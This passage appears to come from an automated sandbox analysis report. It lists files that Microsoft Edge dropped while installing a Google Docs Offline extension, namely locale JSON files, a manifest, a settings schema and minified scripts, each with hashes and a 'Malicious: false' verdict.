SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1793457839\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
